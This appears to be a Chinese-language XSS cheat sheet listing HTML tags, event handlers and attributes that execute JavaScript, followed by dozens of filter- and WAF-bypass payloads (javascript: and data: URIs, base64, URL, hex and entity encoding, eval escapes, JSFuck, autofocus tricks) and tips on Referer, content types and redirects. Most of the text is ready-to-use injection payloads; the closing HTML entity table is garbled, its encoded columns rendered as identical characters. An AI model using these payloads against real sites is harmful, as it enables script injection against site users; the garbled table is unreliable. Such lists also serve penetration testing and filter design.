XSS Base
能够执行js的标签、事件、属性
标签
<script> <a> <p> <img> <body> <button> <var> <div> <iframe> <object> <input>
<select> <textarea> <keygen> <frameset> <embed> <svg> <math> <video> <audio>
所有的event事件都可以执行js
onload onunload onchange onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup onclick ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop
可以执行js的属性
formaction action href xlink:href autofocus src content data
xss绕过方式
自定义标签
<M/onclick="alert(1)">M
/ 代替 空格
在标签和属性之间不一定只能出现空格,使用/代替空格
<img/src=x onerror=alert(1)>
最短字符
a标签
1、通过JavaScript伪造协议来调用js
<a href=javascript:alert(1)>A
2、通过data协议来执行JavaScript,进一步的话可以对payload进行编码(base64,urlencode,hex,demical,html实体编码)(不进行编码也是可以的)
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>
//base64解码为<script>alert(1)</script>
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>M
<a href=javascript:alert(13)>M
<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg>
<math><a xlink:href=javascript:alert(1)>M
各种编码绕过
百分之百分号
把%给url编码成%25,如果在后台对参数有再次进行urldecode,或者输出时有urldecode那么就可以绕过WAF,
base64编码绕过
不过滤<>但过滤script 和事件操作 onxxxx的时候,使用base64编码来绕过
<iframe src=”data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+”>
HTML实体编码的利用绕过waf
<a href= ‘javascript:alert('123') ‘>Hello</a>
<a href= “javascript:alert( ’123′ )“>Hello</a >
<a href= “javascript:alert( ’123′ )“>Hello</a >
<a href= “javascript:alert(’123′ )“>Hello</a >
在标签内的所有伪协议JS代码都是可以不用双引号包裹的
eval函数
eval函数认识\x十六进制\八进制\uunicode码(记得使用引号)
<a href="javascript:eval('a\x6c\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>
<a href="javascript:eval('a\u0091\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>
<a href="javascript:eval('a\154\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>
script标签
1、jsfuck编码 http://www.jsfuck.com/
<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
2、不规范的script标签
<script firefox>alert(1)</script>
3、可以用”/“来代替单引号和双引号
script>alert(/3/)</script>
4、如果输出是在setTimeout里,我们依然可以直接执行alert(1)
<script>setTimeout('alert(1)',0)</script>
5、不只是alert。prompt和confirm也可以弹窗
<script>prompt(-[])</script>
6、各种编码方式
<script>alert(String.fromCharCode(49))</script>
button标签
1、通过event事件来实现
<button/onclick=alert(1)>M</button>
2、如果on(event)被过滤了
<form><button formaction=javascript:alert(1)>M
加上autofocus自动弹窗,无需交互
<button onfocus=alert(1) autofocus>
p标签
如果变量输出在p标签里,不一定要跳出标签,只要跳出””即可
<p/onmouseover=javascript:alert(1);>M</p>
img标签
<img src=x onerror=alert(1)>
<img src ?itworksonchrome>\/onerror = alert(1)> //只在chrome下有效
<img src=x onerror=window.open('http://google.com');>
<img/src/onerror=alert(1)> //只在chrome下有效
<img src="x:test" onerror="alert(1)">
body标签
通过使用event来调用
<body onload=alert(1)>
<body onscroll=alert(1)<br><br><br><br><br><br><br><br><br><input autofocus>
var标签
<var onmouseover="prompt(1)">test</var>
div标签
<div/onmouseover='alert(1)'>test
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(1)">
iframe标签
形式
iframe 的src属性本来应该是一个网址,但是它同样可以执行javascript
onload执行js:
<iframe onload="alert(1)"></iframe>
src执行javascript代码
<iframe src="javascript:alert(1)"></iframe>
IE下vbscript执行代码:
<iframe src="vbscript:msgbox(1)"></iframe>
Chrome下data协议执行代码:
<iframesrc="data:text/html,<script>alert(1)</script>"></iframe>Chrome
上面的变体
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
Chrome下srcdoc属性
<iframe srcdoc="<script>alert(1)</script>"></iframe>
meta标签
跳出当前属性在添加http-equiv=”refresh”,或者通过给http-equiv设置set-cookie来,进一步重新设置cookie
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>?
<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
object标签
和a标签的href属性玩法是一样的,不过优点是无须交互
<object> data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
marquee标签
<marquee onstart="alert('sometext')"></marquee>
isindex标签
<isindex type=image src=1 onerror=alert(1)>
<isindex action=javascript:alert(1) type=image>
input标签
通过event来调用js。和之前的button的例子一样通过 autofocus来达到无须交互即可
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>
select标签
<select onfocus=javascript:alert(1) autofocus>
textarea标签
<textarea onfocus=javascript:alert(1) autofocus>
keygen标签
<keygen onfocus=javascript:alert(1) autofocus>
frameset标签
<frameset onload=alert(1)>
<embed标签>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome
<embed src=javascript:alert(1)> //firefox
svg标签
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg> //chrome有效
math标签
<math href="javascript:javascript:alert(1)">CLICKME</math>
<math><y/xlink:href=javascript:alert(51)>test1
<math> <maction actiontype="statusline#http://wangnima.com"
xlink:href="javascript:alert(49)">CLICKME</maction> </math>
video标签
<video><source onerror="alert(1)">
<video src=x onerror=alert(48)>
audio标签
<audio src=x onerror=alert(47)>
在这些标签里面凡是出现在on*事件值里面的javascript:都是多余的
平时搞XSS可能会用得到的技巧
Referer为空才可以访问
有一些界面为了避免是别的地方跳转过来的 Referer必须为空,那什么情况Referer为空呢,第一是HTTPS协议到HTTP的协议,这时候Referer为空,或者用嵌入一个iframe用data加base64编码的方式,还可以用<meta name=”referrer” content=”never” >来达到referer为空
注意返回的type类型
返回什么样的类型决定了浏览器渲染还是不渲染你的XSS代码,只有返回的是XML或者HTML 才有可能会执行成功你的XSS代码,不过不同浏览器的特性不同,有一些返回的type类型可能也是可以执行XSS的,尤其是一些老的ie浏览器,具体可以看看freebuf之前发布过的一篇关于type和浏览器执行的表格。
阻止浏览器302跳转
总所总之,浏览器遇到302,301会直接跟进头部的跳转链接,可是有时候XSS界面就是这个跳转页面,这个跳转url是可控的,并且在浏览器显示如果浏览器没有正确跳转,请点击XXX的字样。那怎么样才可以让浏览器不自动跳转呢?一种就是把跳转的url端口设置低于80 譬如输入http://xss.com:0” onclick=”alert(/1/) ,还可以使用CSP策略嵌入一个iframe 拿来配合CRLF进行XSS会很舒服
注意头部的X-XSS-Protection
这个东西就是让浏览器帮助一起防御XSS 为0则不帮助,为1则把可能含有的在代码中直接拿掉,还有一个是类型1;black这样的,就是在url地址直接把认为可能是xss的拿掉,所以有时候并不是你的XSS代码被服务器过滤了,还有可能是被浏览器拿走了
HTML Entity
介绍
在编写HTML页面时,需要用到”<”、”>”、”空格”等符号,直接输入这些符号时,会错误的把它们与标记混在一起,非常不利于编码。
那么就需要把这些字符进行转义,以另一种方式抒写,以相同的形式展现。
在HTML中,这些字符可称为HTML Entity,即HTML 字符实体。一个HTML Entity都含有2种转义格式:Entity Name 和 Entity Number。
Entity Name
格式: &entityName;
说明:”&”开头,”;”结尾,以语义的形式描述字符。如字符”<”,英文名称为”less than”,Entity Name为”<”,取自”less than”2个单词的首字母。
Entity Number
格式: entityNumber;
说明:”&#”开头,”;”结尾,以编号的形式描述字符。此编号可以为十进制或十六进制(以”&#x”开头)等数字格式。
示例
<p>字符 :<</p>
<p>Entity Name :<</p>
<p>Entity Number(十进制) :<</p>
<p>Entity Number(十六进制) :<</p>
Character
Character Entity Entity Number(十进制) Entity Number(十六进制)
  &#x
! ! ! !
" " " "
# # # #
$ $ $ $
% % % %
& & & &
' ' ' '
( ( ( (
) ) ) )
* * * *
+ + + +
, , , ,
- ‐ - -
. . . .
/ / / /
: : : :
; ; ; ;
< < < <
= = = =
> > > >
? ? ? ?
@ @ @ @
[ [ [ [
\ \ \ \
] ] ] ]
^ ˆ ^ ^
_ _ _ _
` ` ` `
{ { { {
| | | |
} } } }
~ ˜ ~ ~